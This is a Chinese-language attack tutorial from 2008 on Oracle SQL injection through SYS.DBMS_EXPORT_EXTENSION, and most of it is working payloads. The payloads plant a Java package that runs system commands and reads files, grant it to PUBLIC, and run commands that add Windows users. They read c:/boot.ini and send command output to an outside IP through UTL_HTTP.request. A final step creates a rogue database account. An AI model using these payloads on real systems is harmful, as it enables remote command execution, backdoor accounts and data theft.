来源:WEB安全手册
原文发表在黑客手册
犀利的 oracle 注入技术
linx 2008.1.12
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and 1<>a||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" a|| "是为了让语句返回true值)
语句有点长,可能要用post提交。
以下是各个步骤:
1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
/xxx.jsp?id=1 and 1<>a||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"
";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"
";myReader.close();return str;} catch (Exception e){return e.toString();}}
};END;;END;--,SYS,0,1,0) from dual
)
************
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace and compile java source named "LinxUtil" as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"
";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith("http")?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename));
String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"
";myReader.close();return str;} catch (Exception e){return e.toString();}}
};END;;END;--,SYS,0,1,0) from dual
***************
------------------------
如果url有长度限制,可以把readFile()函数块去掉,即:
/xxx.jsp?id=1 and 1<>a||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"
";myReader.close();return str;} catch (Exception e){return e.toString();}}
};END;;END;--,SYS,0,1,0) from dual
)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
------------------------------
2.赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE begin dbms_java.grant_permission( PUBLIC, SYS:java.io.FilePermission, <<ALL FILES>>, execute );end;;END;;END;--,SYS,0,1,0) from dual
3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name LinxUtil.runCMD(java.lang.String) return String; ;END;;END;--,SYS,0,1,0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name LinxUtil.readFile(java.lang.String) return String; ;END;;END;--,SYS,0,1,0) from dual
4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE grant all on LinxRunCMD to public;END;;END;--,SYS,0,1,0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE grant all on LinxReadFile to public;END;;END;--,SYS,0,1,0) from dual
5.测试上面的几步是否成功
and 1<>11||(
select OBJECT_ID from all_objects where object_name =LINXRUNCMD
)
and 1<>(
select OBJECT_ID from all_objects where object_name =LINXREADFILE
)
6.执行命令:
/xxx.jsp?id=1 and 1<>(
select sys.LinxRunCMD(cmd /c net user linx /add) from dual
)
/xxx.jsp?id=1 and 1<>(
select sys.LinxReadFile(c:/boot.ini) from dual
)
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and 1<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select sys.LinxRunCMD(cmd /c net user linx /add) from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and 1<>(
SELECT UTL_HTTP.request(http://211.71.147.3/record.php?a=LinxRunCMD:||REPLACE(REPLACE(sys.LinxRunCMD(cmd /c net user aaa /del), ,%20),
,%0A)) FROM dual
)
/xxx.jsp?id=1 and 1<>(
SELECT UTL_HTTP.request(http://211.71.147.3/record.php?a=LinxRunCMD:||REPLACE(REPLACE(sys.LinxReadFile(c:/boot.ini), ,%20),
,%0A)) FROM dual
)
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
6.内部变化
通过以下命令可以查看all_objects表达改变:
select * from all_objects where object_name like %LINX% or object_name like %Linx%
7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
drop function LinxRunCMD ;END;;END;--,SYS,0,1,0) from dual
====================================================
全文结束。谨以此文赠与我的朋友。
linx
124829445
2008.1.12
linyujian@bjfu.edu.cn
======================================================================
测试漏洞的另一方法:
创建oracle帐号:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE
CREATE USER linxsql IDENTIFIED BY linxsql;END;;END;--,SYS,0